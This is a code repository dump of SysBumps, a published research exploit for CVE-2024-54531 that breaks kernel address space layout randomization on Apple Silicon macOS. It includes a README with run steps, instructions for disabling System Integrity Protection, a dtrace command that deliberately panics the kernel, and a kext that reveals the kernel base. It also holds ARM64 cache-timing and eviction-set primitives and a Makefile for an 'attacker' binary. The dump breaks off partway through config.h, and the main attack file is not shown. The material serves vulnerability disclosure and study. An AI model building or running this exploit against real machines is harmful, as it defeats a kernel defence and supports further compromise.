├── README.md
├── kext_kernel
├── README.md
├── build.sh
├── kernel_slide.xcodeproj
│ ├── project.pbxproj
│ ├── project.xcworkspace
│ │ ├── contents.xcworkspacedata
│ │ ├── xcshareddata
│ │ │ └── IDEWorkspaceChecks.plist
│ │ └── xcuserdata
│ │ │ └── jjang.xcuserdatad
│ │ │ └── UserInterfaceState.xcuserstate
│ └── xcuserdata
│ │ └── jjang.xcuserdatad
│ │ ├── xcdebugger
│ │ └── Breakpoints_v2.xcbkptlist
│ │ └── xcschemes
│ │ └── xcschememanagement.plist
├── kernel_slide
│ ├── Info.plist
│ └── kernel_slide.c
└── run.sh
└── sysbumps
├── common
├── memory.c
├── memory.h
├── timing.c
└── timing.h
├── findKASLR
├── Makefile
├── attacker
├── config.h
└── main.c
├── run.sh
└── util
├── graph.py
└── res
/README.md:
--------------------------------------------------------------------------------
1 | #
2 | # CVE-2024-54531
3 |
4 | ## Overview
5 | SysBumps is an exploit designed to break Kernel Address Space Layout Randomization (KASLR) on macOS for Apple Silicon.
6 |
7 | This attack has been successfully tested on the following devices:
8 | - **Apple Silicon**: M1, M1 Pro, M2, M2 Pro, M2 Max, M3, M3 Pro
9 | - **macOS Versions**: 13.1 - 15.1 (Earlier versions may also be vulnerable but are untested)
10 |
11 |
12 | ## More Details
13 | - **CCS'24**: [https://dl.acm.org/doi/abs/10.1145/3658644.3690189](https://dl.acm.org/doi/abs/10.1145/3658644.3690189)
14 |
15 | - **BlackHat EU'24**: [https://www.blackhat.com/eu-24/briefings/schedule/#sysbumps-exploiting-speculative-execution-in-system-calls-for-breaking-kaslr-in-macos-for-apple-silicon-42192](https://www.blackhat.com/eu-24/briefings/schedule/#sysbumps-exploiting-speculative-execution-in-system-calls-for-breaking-kaslr-in-macos-for-apple-silicon-42192)
16 |
17 |
18 | ## Prerequisites
19 | - A macOS device with Apple Silicon (M1, M1 Pro, M2, M2 Pro, M2 Max, M3, M3 Pro)
20 | - macOS version 13.1 - 15.1
21 |
22 |
23 | ## Running the Attack
24 | To execute the attack:
25 | 1. Set `SYSBUMPS_PATH` in `run.sh` to the path of the `sysbumps` directory.
26 | 2. Execute `run.sh` from your terminal.
27 | ```bash
28 | ./run.sh
29 | ```
30 |
31 | ## Visualizing Attack Outcomes
32 | To visualize the results of the attack:
33 | - Run `graph.py` from the `util` directory.
34 | ```bash
35 | python3 graph.py
36 | ```
37 |
38 | ## Verifying Kernel Addresses
39 | To confirm the actual kernel addresses, you have two options:
40 |
41 | 1. **Using Kernel Extension (`kernel_slide.kext`)**
42 | - Build and run `kernel_slide.kext` from the `kext_kernel` folder.
43 | - For detailed instructions, refer to the README in that folder.
44 |
45 | 2. **Using dtrace (alternative method)**
46 | - You can generate a kernel panic and examine the debugger message that appears after rebooting:
47 | ```bash
48 | sudo dtrace -w -n "BEGIN{ panic();}"
49 | ```
50 |
51 | > **NOTE:**
52 | > - To execute `kernel_slide.kext`, you must disable **System Integrity Protection (SIP)** and set your startup disk security to **Reduced Security Mode**.
53 | > - Similarly, disabling SIP is required to execute dtrace commands.
54 |
55 |
56 | ## Disclaimer
57 | This project is for educational and research purposes only. Use of this software for attacking targets without prior mutual consent is illegal. The developer is not responsible for any damage caused by the use of this exploit.
58 |
59 |
60 |
--------------------------------------------------------------------------------
/kext_kernel/README.md:
--------------------------------------------------------------------------------
1 | # Extracting Kernel Base Address via KEXT
2 |
3 | `kernel_slide.kext` is a kernel extension for macOS used to extract the kernel base address.
4 | This file helps in identifying the kernel base address.
5 |
6 | ## Configuration
7 |
8 | ### 1. Install Xcode
9 | If Xcode is not installed, download and install it from the [Apple Developer site](https://developer.apple.com/xcode/).
10 |
11 | ### 2. Disabling SIP (System Integrity Protection)
12 | 1. Boot into macOS [Recovery mode](https://support.apple.com/en-us/102518).
13 | 2. Select your account and click **Next**.
14 | 2. In the menu bar at the top, select **Utilities > Terminal**.
15 | 3. Type the following command:
16 | ```bash
17 | csrutil disable
18 | csrutil authenticated-root disable
19 | ```
20 |
21 | ### 3. Changing startup disk security settings
22 | 1. Boot into macOS [Recovery mode](https://support.apple.com/en-us/102518).
23 | 2. In the menu bar at the top, select Utilities > Startup Security Utility.
24 | 3. Click **Security Policy...**.
25 | 4. Check **Reduced Security**.
26 | 5. Check the **Allow user management of kernel extensions from identified developers** box.
27 | 6. Click **OK**. (NOTE, Run it again from step 3 to check once more whether it is set up properly.)
28 | 7. Restart your Mac.
29 |
30 |
31 | ## Building the kext
32 | 1. To build the kext, run the following command:
33 | ```bash
34 | sudo ./build.sh
35 | ```
36 | 2. If pop-up appears, click **Open System Setting**. (If not, open **System Settings** from the Apple menu and click **Privacy & Security** in the sidebar.
37 | 3. Scroll down to find the **Security** section.
38 | 4. Check **App Store and identified developers**.
39 | 5. Click **Enable System Extensions** (or **Allow** or **Details**).
40 | 6. When the first pop-up appears, enter your password and click **Modify Setting**.
41 | 7. When the second pop-up appears, enter your password and click **OK**.
42 | 8. Click **Restart**.
43 |
44 | **NOTE**. If you encounter the error '**Domain=KMErrorDomain Code=29 "Authenticating extension failed"**', please perform **Disabling SIP** and **Changing startup disk security settings** again.
45 |
46 |
47 | ## Using the kext
48 | Load the kext using the provided script:
49 | ```bash
50 | sudo ./run.sh
51 | ```
52 |
53 | This script will load the `kernel_slide.kext` and extract the kernel base address, which will be displayed in the terminal. as follows:
54 | ```bash
55 | 2024-07-xx xx:xx:xx.596346+0900 0xc1e Default 0x0 0 0 kernel: (kernel_slide) [SysBumps] base = 0xfffffe002724c000
56 | ```
57 |
58 |
--------------------------------------------------------------------------------
/kext_kernel/build.sh:
--------------------------------------------------------------------------------
1 | #!/bin/zsh
2 |
3 | if [ "$(id -u)" != "0" ]; then
4 | echo "This script must be run with root privileges!!"
5 | exit 1
6 | fi
7 |
8 |
9 | xcodebuild -project kernel_slide.xcodeproj -configuration Debug
10 | cp -r ./build/Debug/kernel_slide.kext ./
11 |
12 |
13 | chown -R root:wheel kernel_slide.kext
14 | chmod -R 0644 kernel_slide.kext
15 | kmutil load -p kernel_slide.kext
16 |
--------------------------------------------------------------------------------
/kext_kernel/kernel_slide.xcodeproj/project.pbxproj:
--------------------------------------------------------------------------------
1 | // !$*UTF8*$!
2 | {
3 | archiveVersion = 1;
4 | classes = {
5 | };
6 | objectVersion = 56;
7 | objects = {
8 |
9 | /* Begin PBXBuildFile section */
10 | CED1CACE29669618007B532E /* kernel_slide.c in Sources */ = {isa = PBXBuildFile; fileRef = CED1CACD29669618007B532E /* kernel_slide.c */; };
11 | /* End PBXBuildFile section */
12 |
13 | /* Begin PBXFileReference section */
14 | CED1CACA29669618007B532E /* kernel_slide.kext */ = {isa = PBXFileReference; explicitFileType = wrapper.cfbundle; includeInIndex = 0; path = kernel_slide.kext; sourceTree = BUILT_PRODUCTS_DIR; };
15 | CED1CACD29669618007B532E /* kernel_slide.c */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.c; path = kernel_slide.c; sourceTree = ""; };
16 | CED1CACF29669618007B532E /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = ""; };
17 | /* End PBXFileReference section */
18 |
19 | /* Begin PBXFrameworksBuildPhase section */
20 | CED1CAC729669618007B532E /* Frameworks */ = {
21 | isa = PBXFrameworksBuildPhase;
22 | buildActionMask = 2147483647;
23 | files = (
24 | );
25 | runOnlyForDeploymentPostprocessing = 0;
26 | };
27 | /* End PBXFrameworksBuildPhase section */
28 |
29 | /* Begin PBXGroup section */
30 | CED1CAC029669618007B532E = {
31 | isa = PBXGroup;
32 | children = (
33 | CED1CACC29669618007B532E /* kernel_slide */,
34 | CED1CACB29669618007B532E /* Products */,
35 | );
36 | sourceTree = "";
37 | };
38 | CED1CACB29669618007B532E /* Products */ = {
39 | isa = PBXGroup;
40 | children = (
41 | CED1CACA29669618007B532E /* kernel_slide.kext */,
42 | );
43 | name = Products;
44 | sourceTree = "";
45 | };
46 | CED1CACC29669618007B532E /* kernel_slide */ = {
47 | isa = PBXGroup;
48 | children = (
49 | CED1CACD29669618007B532E /* kernel_slide.c */,
50 | CED1CACF29669618007B532E /* Info.plist */,
51 | );
52 | path = kernel_slide;
53 | sourceTree = "";
54 | };
55 | /* End PBXGroup section */
56 |
57 | /* Begin PBXHeadersBuildPhase section */
58 | CED1CAC529669618007B532E /* Headers */ = {
59 | isa = PBXHeadersBuildPhase;
60 | buildActionMask = 2147483647;
61 | files = (
62 | );
63 | runOnlyForDeploymentPostprocessing = 0;
64 | };
65 | /* End PBXHeadersBuildPhase section */
66 |
67 | /* Begin PBXNativeTarget section */
68 | CED1CAC929669618007B532E /* kernel_slide */ = {
69 | isa = PBXNativeTarget;
70 | buildConfigurationList = CED1CAD229669618007B532E /* Build configuration list for PBXNativeTarget "kernel_slide" */;
71 | buildPhases = (
72 | CED1CAC529669618007B532E /* Headers */,
73 | CED1CAC629669618007B532E /* Sources */,
74 | CED1CAC729669618007B532E /* Frameworks */,
75 | CED1CAC829669618007B532E /* Resources */,
76 | );
77 | buildRules = (
78 | );
79 | dependencies = (
80 | );
81 | name = kernel_slide;
82 | productName = kernel_slide;
83 | productReference = CED1CACA29669618007B532E /* kernel_slide.kext */;
84 | productType = "com.apple.product-type.kernel-extension";
85 | };
86 | /* End PBXNativeTarget section */
87 |
88 | /* Begin PBXProject section */
89 | CED1CAC129669618007B532E /* Project object */ = {
90 | isa = PBXProject;
91 | attributes = {
92 | BuildIndependentTargetsInParallel = 1;
93 | LastUpgradeCheck = 1420;
94 | TargetAttributes = {
95 | CED1CAC929669618007B532E = {
96 | CreatedOnToolsVersion = 14.2;
97 | };
98 | };
99 | };
100 | buildConfigurationList = CED1CAC429669618007B532E /* Build configuration list for PBXProject "kernel_slide" */;
101 | compatibilityVersion = "Xcode 14.0";
102 | developmentRegion = en;
103 | hasScannedForEncodings = 0;
104 | knownRegions = (
105 | en,
106 | Base,
107 | );
108 | mainGroup = CED1CAC029669618007B532E;
109 | productRefGroup = CED1CACB29669618007B532E /* Products */;
110 | projectDirPath = "";
111 | projectRoot = "";
112 | targets = (
113 | CED1CAC929669618007B532E /* kernel_slide */,
114 | );
115 | };
116 | /* End PBXProject section */
117 |
118 | /* Begin PBXResourcesBuildPhase section */
119 | CED1CAC829669618007B532E /* Resources */ = {
120 | isa = PBXResourcesBuildPhase;
121 | buildActionMask = 2147483647;
122 | files = (
123 | );
124 | runOnlyForDeploymentPostprocessing = 0;
125 | };
126 | /* End PBXResourcesBuildPhase section */
127 |
128 | /* Begin PBXSourcesBuildPhase section */
129 | CED1CAC629669618007B532E /* Sources */ = {
130 | isa = PBXSourcesBuildPhase;
131 | buildActionMask = 2147483647;
132 | files = (
133 | CED1CACE29669618007B532E /* kernel_slide.c in Sources */,
134 | );
135 | runOnlyForDeploymentPostprocessing = 0;
136 | };
137 | /* End PBXSourcesBuildPhase section */
138 |
139 | /* Begin XCBuildConfiguration section */
140 | CED1CAD029669618007B532E /* Debug */ = {
141 | isa = XCBuildConfiguration;
142 | buildSettings = {
143 | ALWAYS_SEARCH_USER_PATHS = NO;
144 | CLANG_ANALYZER_NONNULL = YES;
145 | CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE;
146 | CLANG_CXX_LANGUAGE_STANDARD = "gnu++20";
147 | CLANG_ENABLE_MODULES = YES;
148 | CLANG_ENABLE_OBJC_ARC = YES;
149 | CLANG_ENABLE_OBJC_WEAK = YES;
150 | CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES;
151 | CLANG_WARN_BOOL_CONVERSION = YES;
152 | CLANG_WARN_COMMA = YES;
153 | CLANG_WARN_CONSTANT_CONVERSION = YES;
154 | CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES;
155 | CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR;
156 | CLANG_WARN_DOCUMENTATION_COMMENTS = YES;
157 | CLANG_WARN_EMPTY_BODY = YES;
158 | CLANG_WARN_ENUM_CONVERSION = YES;
159 | CLANG_WARN_INFINITE_RECURSION = YES;
160 | CLANG_WARN_INT_CONVERSION = YES;
161 | CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES;
162 | CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES;
163 | CLANG_WARN_OBJC_LITERAL_CONVERSION = YES;
164 | CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR;
165 | CLANG_WARN_QUOTED_INCLUDE_IN_FRAMEWORK_HEADER = YES;
166 | CLANG_WARN_RANGE_LOOP_ANALYSIS = YES;
167 | CLANG_WARN_STRICT_PROTOTYPES = YES;
168 | CLANG_WARN_SUSPICIOUS_MOVE = YES;
169 | CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE;
170 | CLANG_WARN_UNREACHABLE_CODE = YES;
171 | CLANG_WARN__DUPLICATE_METHOD_MATCH = YES;
172 | COPY_PHASE_STRIP = NO;
173 | DEBUG_INFORMATION_FORMAT = dwarf;
174 | ENABLE_STRICT_OBJC_MSGSEND = YES;
175 | ENABLE_TESTABILITY = YES;
176 | GCC_C_LANGUAGE_STANDARD = gnu11;
177 | GCC_DYNAMIC_NO_PIC = NO;
178 | GCC_NO_COMMON_BLOCKS = YES;
179 | GCC_OPTIMIZATION_LEVEL = 0;
180 | GCC_PREPROCESSOR_DEFINITIONS = (
181 | "DEBUG=1",
182 | "$(inherited)",
183 | );
184 | GCC_WARN_64_TO_32_BIT_CONVERSION = YES;
185 | GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR;
186 | GCC_WARN_UNDECLARED_SELECTOR = YES;
187 | GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE;
188 | GCC_WARN_UNUSED_FUNCTION = YES;
189 | GCC_WARN_UNUSED_VARIABLE = YES;
190 | MACOSX_DEPLOYMENT_TARGET = 13.1;
191 | MTL_ENABLE_DEBUG_INFO = INCLUDE_SOURCE;
192 | MTL_FAST_MATH = YES;
193 | ONLY_ACTIVE_ARCH = YES;
194 | SDKROOT = macosx;
195 | };
196 | name = Debug;
197 | };
198 | CED1CAD129669618007B532E /* Release */ = {
199 | isa = XCBuildConfiguration;
200 | buildSettings = {
201 | ALWAYS_SEARCH_USER_PATHS = NO;
202 | CLANG_ANALYZER_NONNULL = YES;
203 | CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE;
204 | CLANG_CXX_LANGUAGE_STANDARD = "gnu++20";
205 | CLANG_ENABLE_MODULES = YES;
206 | CLANG_ENABLE_OBJC_ARC = YES;
207 | CLANG_ENABLE_OBJC_WEAK = YES;
208 | CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES;
209 | CLANG_WARN_BOOL_CONVERSION = YES;
210 | CLANG_WARN_COMMA = YES;
211 | CLANG_WARN_CONSTANT_CONVERSION = YES;
212 | CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES;
213 | CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR;
214 | CLANG_WARN_DOCUMENTATION_COMMENTS = YES;
215 | CLANG_WARN_EMPTY_BODY = YES;
216 | CLANG_WARN_ENUM_CONVERSION = YES;
217 | CLANG_WARN_INFINITE_RECURSION = YES;
218 | CLANG_WARN_INT_CONVERSION = YES;
219 | CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES;
220 | CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES;
221 | CLANG_WARN_OBJC_LITERAL_CONVERSION = YES;
222 | CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR;
223 | CLANG_WARN_QUOTED_INCLUDE_IN_FRAMEWORK_HEADER = YES;
224 | CLANG_WARN_RANGE_LOOP_ANALYSIS = YES;
225 | CLANG_WARN_STRICT_PROTOTYPES = YES;
226 | CLANG_WARN_SUSPICIOUS_MOVE = YES;
227 | CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE;
228 | CLANG_WARN_UNREACHABLE_CODE = YES;
229 | CLANG_WARN__DUPLICATE_METHOD_MATCH = YES;
230 | COPY_PHASE_STRIP = NO;
231 | DEBUG_INFORMATION_FORMAT = "dwarf-with-dsym";
232 | ENABLE_NS_ASSERTIONS = NO;
233 | ENABLE_STRICT_OBJC_MSGSEND = YES;
234 | GCC_C_LANGUAGE_STANDARD = gnu11;
235 | GCC_NO_COMMON_BLOCKS = YES;
236 | GCC_WARN_64_TO_32_BIT_CONVERSION = YES;
237 | GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR;
238 | GCC_WARN_UNDECLARED_SELECTOR = YES;
239 | GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE;
240 | GCC_WARN_UNUSED_FUNCTION = YES;
241 | GCC_WARN_UNUSED_VARIABLE = YES;
242 | MACOSX_DEPLOYMENT_TARGET = 13.1;
243 | MTL_ENABLE_DEBUG_INFO = NO;
244 | MTL_FAST_MATH = YES;
245 | SDKROOT = macosx;
246 | };
247 | name = Release;
248 | };
249 | CED1CAD329669618007B532E /* Debug */ = {
250 | isa = XCBuildConfiguration;
251 | buildSettings = {
252 | CLANG_WARN_QUOTED_INCLUDE_IN_FRAMEWORK_HEADER = NO;
253 | CODE_SIGN_STYLE = Automatic;
254 | CURRENT_PROJECT_VERSION = 1;
255 | GENERATE_INFOPLIST_FILE = YES;
256 | INFOPLIST_FILE = kernel_slide/Info.plist;
257 | INFOPLIST_KEY_NSHumanReadableCopyright = "";
258 | MACOSX_DEPLOYMENT_TARGET = 13.1;
259 | MARKETING_VERSION = 1.0;
260 | MODULE_NAME = kernel_slide.kernel_slide;
261 | MODULE_START = kernel_slide_start;
262 | MODULE_STOP = kernel_slide_stop;
263 | MODULE_VERSION = 1.0.0d1;
264 | PRODUCT_BUNDLE_IDENTIFIER = "kernel-slide.kernel-slide";
265 | PRODUCT_NAME = "$(TARGET_NAME)";
266 | RUN_CLANG_STATIC_ANALYZER = YES;
267 | SWIFT_EMIT_LOC_STRINGS = YES;
268 | WRAPPER_EXTENSION = kext;
269 | };
270 | name = Debug;
271 | };
272 | CED1CAD429669618007B532E /* Release */ = {
273 | isa = XCBuildConfiguration;
274 | buildSettings = {
275 | CLANG_WARN_QUOTED_INCLUDE_IN_FRAMEWORK_HEADER = NO;
276 | CODE_SIGN_STYLE = Automatic;
277 | CURRENT_PROJECT_VERSION = 1;
278 | GENERATE_INFOPLIST_FILE = YES;
279 | INFOPLIST_FILE = kernel_slide/Info.plist;
280 | INFOPLIST_KEY_NSHumanReadableCopyright = "";
281 | MACOSX_DEPLOYMENT_TARGET = 13.1;
282 | MARKETING_VERSION = 1.0;
283 | MODULE_NAME = kernel_slide.kernel_slide;
284 | MODULE_START = kernel_slide_start;
285 | MODULE_STOP = kernel_slide_stop;
286 | MODULE_VERSION = 1.0.0d1;
287 | PRODUCT_BUNDLE_IDENTIFIER = "kernel-slide.kernel-slide";
288 | PRODUCT_NAME = "$(TARGET_NAME)";
289 | RUN_CLANG_STATIC_ANALYZER = YES;
290 | SWIFT_EMIT_LOC_STRINGS = YES;
291 | WRAPPER_EXTENSION = kext;
292 | };
293 | name = Release;
294 | };
295 | /* End XCBuildConfiguration section */
296 |
297 | /* Begin XCConfigurationList section */
298 | CED1CAC429669618007B532E /* Build configuration list for PBXProject "kernel_slide" */ = {
299 | isa = XCConfigurationList;
300 | buildConfigurations = (
301 | CED1CAD029669618007B532E /* Debug */,
302 | CED1CAD129669618007B532E /* Release */,
303 | );
304 | defaultConfigurationIsVisible = 0;
305 | defaultConfigurationName = Release;
306 | };
307 | CED1CAD229669618007B532E /* Build configuration list for PBXNativeTarget "kernel_slide" */ = {
308 | isa = XCConfigurationList;
309 | buildConfigurations = (
310 | CED1CAD329669618007B532E /* Debug */,
311 | CED1CAD429669618007B532E /* Release */,
312 | );
313 | defaultConfigurationIsVisible = 0;
314 | defaultConfigurationName = Release;
315 | };
316 | /* End XCConfigurationList section */
317 | };
318 | rootObject = CED1CAC129669618007B532E /* Project object */;
319 | }
320 |
--------------------------------------------------------------------------------
/kext_kernel/kernel_slide.xcodeproj/project.xcworkspace/contents.xcworkspacedata:
--------------------------------------------------------------------------------
1 |
2 |
4 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/kext_kernel/kernel_slide.xcodeproj/project.xcworkspace/xcshareddata/IDEWorkspaceChecks.plist:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | IDEDidComputeMac32BitWarning
6 |
7 |
8 |
9 |
--------------------------------------------------------------------------------
/kext_kernel/kernel_slide.xcodeproj/project.xcworkspace/xcuserdata/jjang.xcuserdatad/UserInterfaceState.xcuserstate:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/koreacsl/SysBumps/24a7c5c25561252f9577470d136aaad09e66f310/kext_kernel/kernel_slide.xcodeproj/project.xcworkspace/xcuserdata/jjang.xcuserdatad/UserInterfaceState.xcuserstate
--------------------------------------------------------------------------------
/kext_kernel/kernel_slide.xcodeproj/xcuserdata/jjang.xcuserdatad/xcdebugger/Breakpoints_v2.xcbkptlist:
--------------------------------------------------------------------------------
1 |
2 |
6 |
7 |
9 |
21 |
22 |
23 |
24 |
25 |
--------------------------------------------------------------------------------
/kext_kernel/kernel_slide.xcodeproj/xcuserdata/jjang.xcuserdatad/xcschemes/xcschememanagement.plist:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | SchemeUserState
6 |
7 | kernel_slide.xcscheme_^#shared#^_
8 |
9 | orderHint
10 | 0
11 |
12 |
13 |
14 |
15 |
--------------------------------------------------------------------------------
/kext_kernel/kernel_slide/Info.plist:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | OSBundleLibraries
6 |
7 | com.apple.kpi.bsd
8 | 21.5
9 | com.apple.kpi.iokit
10 | 21.5
11 | com.apple.kpi.libkern
12 | 21.5
13 | com.apple.kpi.mach
14 | 21.5
15 |
16 |
17 |
18 |
--------------------------------------------------------------------------------
/kext_kernel/kernel_slide/kernel_slide.c:
--------------------------------------------------------------------------------
1 | //
2 | // kernel_slide.c
3 | // kernel_slide
4 | //
5 | // Created by hyerean JJang on 2023/01/05.
6 | //
7 |
8 | #include
9 | #include
10 | #include
11 | #include
12 | #include
13 | #include
14 |
15 |
16 | kern_return_t kernel_slide_start(kmod_info_t * ki, void *d);
17 | kern_return_t kernel_slide_stop(kmod_info_t *ki, void *d);
18 |
19 | #define MAX_SLIDE_STEP 4096
20 | #define VM_MIN_KERNEL_ADDRESS ((vm_offset_t) 0xfffffe0000000000) //0xFFFFFF8000000000
21 | #define VM_MIN_KERNEL_AND_KEXT_ADDRESS (VM_MIN_KERNEL_ADDRESS) //0xFFFFFF8000000000
22 | #define VM_KERNEL_LINK_ADDRESS ((vm_offset_t) 0xfffffe0007004000)
23 |
24 |
25 | static vm_offset_t get_vm_kernel_addrperm_ext(void)
26 | {
27 | static vm_offset_t addrperm_ext = 0L;
28 | if (addrperm_ext != 0L) goto out_exit;
29 | vm_kernel_addrperm_external(VM_MIN_KERNEL_AND_KEXT_ADDRESS, &addrperm_ext);
30 | addrperm_ext -= VM_MIN_KERNEL_AND_KEXT_ADDRESS;
31 | out_exit:
32 | return addrperm_ext;
33 | }
34 |
35 |
36 | static vm_offset_t get_vm_kernel_slide(void)
37 | {
38 | static uint16_t i = MAX_SLIDE_STEP;
39 | static vm_offset_t fake = VM_MIN_KERNEL_AND_KEXT_ADDRESS;
40 | static vm_offset_t slide = 0L;
41 |
42 | if (get_vm_kernel_addrperm_ext() == 0L) goto out_exit;
43 | if (slide != 0L || i == 0) goto out_exit;
44 |
45 | while (--i) {
46 | vm_kernel_unslide_or_perm_external(fake, &slide);
47 | /* We assume unslide address is unique to those two */
48 | if (slide != fake && slide != fake + get_vm_kernel_addrperm_ext()) {
49 | slide = fake - slide;
50 | break;
51 | }
52 | fake += 0x100000L;
53 | slide = 0L;
54 | }
55 |
56 | out_exit:
57 | return slide + VM_KERNEL_LINK_ADDRESS;
58 | }
59 |
60 |
61 | kern_return_t kernel_slide_start(kmod_info_t * ki, void *d)
62 | {
63 | vm_offset_t kernel_base;
64 |
65 | kernel_base = get_vm_kernel_slide();
66 |
67 | os_log(OS_LOG_DEFAULT, "[SysBumps_log] base = 0x%x%08x\n", (uint32_t)(((uint64_t)kernel_base) >> 32), (uint32_t)(((uint64_t)kernel_base) & 0xFFFFFFFF));
68 | return KERN_SUCCESS;
69 | }
70 |
71 | kern_return_t kernel_slide_stop(kmod_info_t *ki, void *d)
72 | {
73 | return KERN_SUCCESS;
74 | }
75 |
76 |
--------------------------------------------------------------------------------
/kext_kernel/run.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | if [ "$(id -u)" != "0" ]; then
4 | echo "This script must be run with root privileges!!"
5 | exit 1
6 | fi
7 |
8 | kmutil load -p kernel_slide.kext
9 | log show --last 20s | grep "SysBumps_log"
10 | kmutil unload -p kernel_slide.kext
11 |
--------------------------------------------------------------------------------
/sysbumps/common/memory.c:
--------------------------------------------------------------------------------
1 |
2 | #include "memory.h"
3 |
4 | void gen_eset(void * target, void ** eset, void * addr){
5 | void * base = addr + ((uint64_t)target & (ESET_OFFSET - 1));
6 |
7 | for( int i = 0 ; i < ESET_SIZE ; i++){
8 | eset[i] = base + (ESET_OFFSET+128)* (i + 1);
9 | }
10 | memory_fence();
11 | }
12 |
--------------------------------------------------------------------------------
/sysbumps/common/memory.h:
--------------------------------------------------------------------------------
1 | #ifndef MEMORY_H
2 | #define MEMORY_H
3 |
4 | #include
5 | #include
6 | #include
7 | #include
8 | #include
9 |
10 | #include "config.h"
11 | #include "timing.h"
12 |
13 | #define memory_access(x) __asm__ volatile("LDR x10, [%[addr]]" :: [addr] "r" (x) : "x10", "memory")
14 | #define memory_prefetch(x) __asm__ volatile("PRFM PSTL1STRM,[%[addr]]" :: [addr] "r" (x) : "x10", "memory")
15 | #define memory_fence() __asm__ volatile("DMB SY\nISB SY" ::: "memory")
16 | #define nop() __asm__ volatile("MOV x10, x10" ::: "x10", "memory")
17 |
18 | static inline __attribute__((always_inline)) uint64_t probe_access(void* address){
19 | register uint64_t start, end;
20 | memory_fence();
21 | timer_read(start);
22 | memory_fence();
23 | memory_access(address);
24 | memory_fence();
25 | timer_read(end);
26 | memory_fence();
27 | return end - start;
28 | }
29 |
30 | static inline __attribute__((always_inline)) uint64_t probe_prefetch(void* address){
31 | register uint64_t start, end;
32 | memory_fence();
33 | timer_read(start);
34 | memory_fence();
35 | memory_prefetch(address);
36 | memory_fence();
37 | timer_read(end);
38 | memory_fence();
39 | return end - start;
40 | }
41 |
42 |
43 | static inline __attribute__((always_inline)) void prime(void ** eset){
44 | for(int i = 0 ; i < ESET_SIZE ; i++ ){
45 | memory_fence();
46 | memory_access(eset[i]);
47 | memory_fence();
48 | }
49 | }
50 |
51 |
52 | static inline __attribute__((always_inline)) uint64_t probe(void ** eset){
53 | uint64_t time = 0;
54 | for(int i = 0 ;i < ESET_SIZE ; i++){
55 | memory_fence();
56 | time += probe_prefetch(eset[i]);
57 | memory_fence();
58 | }
59 | return time;
60 | }
61 |
62 | void gen_eset(void * target, void ** eset, void * addr);
63 |
64 | #endif
65 |
--------------------------------------------------------------------------------
/sysbumps/common/timing.c:
--------------------------------------------------------------------------------
1 | #include "timing.h"
2 |
3 | void* counting(void* ctx){
4 | __asm__ volatile(
5 | "LDR x10, [%[ctx]]\n"
6 | "loop:\n"
7 | "ADD x10, x10, #1\n"
8 | "STR x10, [%[ctx]]\n"
9 | "B loop\n"
10 | :
11 | : [ctx] "r" (ctx)
12 | : "x10", "memory"
13 | );
14 | }
15 |
16 | void start_timer(){
17 | pthread_create(&counting_thread, NULL, counting, ×tamp);
18 | }
19 |
20 | void stop_timer(){
21 | pthread_cancel(counting_thread);
22 | }
23 |
--------------------------------------------------------------------------------
/sysbumps/common/timing.h:
--------------------------------------------------------------------------------
1 | #ifndef TIME_H
2 | #define TIME_H
3 |
4 | #include
5 | #include
6 | #include
7 | #include
8 | #include
9 | #include
10 |
11 | uint64_t timestamp;
12 | pthread_t counting_thread;
13 |
14 | #define timer_read(x) x = timestamp
15 | //#define timer_read(x) __asm__ volatile("mrs %[time], S3_2_c15_c0_0" : [time]"=r"(x));
16 | void start_timer();
17 | void stop_timer();
18 |
19 | #endif
20 |
--------------------------------------------------------------------------------
/sysbumps/findKASLR/Makefile:
--------------------------------------------------------------------------------
1 | CC = clang
2 | TARGET = attacker
3 |
4 | VPATH = $(CURDIR) $(COMDIR)
5 |
6 | COMDIR = ../common
7 |
8 | CFLAGS = -arch arm64 -w -I./ -I$(COMDIR)
9 |
10 | #SRCS = $(foreach dir, ./ $(COMDIR), $(wildcard $(dir)/*.c))
11 | #SRCS := $(notdir $(SRCS))
12 | #OBJS = $(SRCS:.c=.o)
13 | OBJS = main.o memory.o timing.o
14 |
15 | all : $(TARGET)
16 | rm -f $(OBJS)
17 |
18 | $(TARGET) : $(OBJS)
19 | $(CC) -o $(TARGET) $(OBJS)
20 |
21 | .c.o :
22 | $(CC) $(CFLAGS) -c -o $@ $<
23 |
24 | clean :
25 | rm -f $(OBJS) $(TARGET)
26 |
27 |
28 |
--------------------------------------------------------------------------------
/sysbumps/findKASLR/attacker:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/koreacsl/SysBumps/24a7c5c25561252f9577470d136aaad09e66f310/sysbumps/findKASLR/attacker
--------------------------------------------------------------------------------
/sysbumps/findKASLR/config.h:
--------------------------------------------------------------------------------
1 | #ifndef CONFIG_H
2 | #define CONFIG_H
3 |
4 | #define __DEBUG
5 | #define __TIME
6 |
7 |
8 | #define RESULT_FILE "../util/res"
9 |
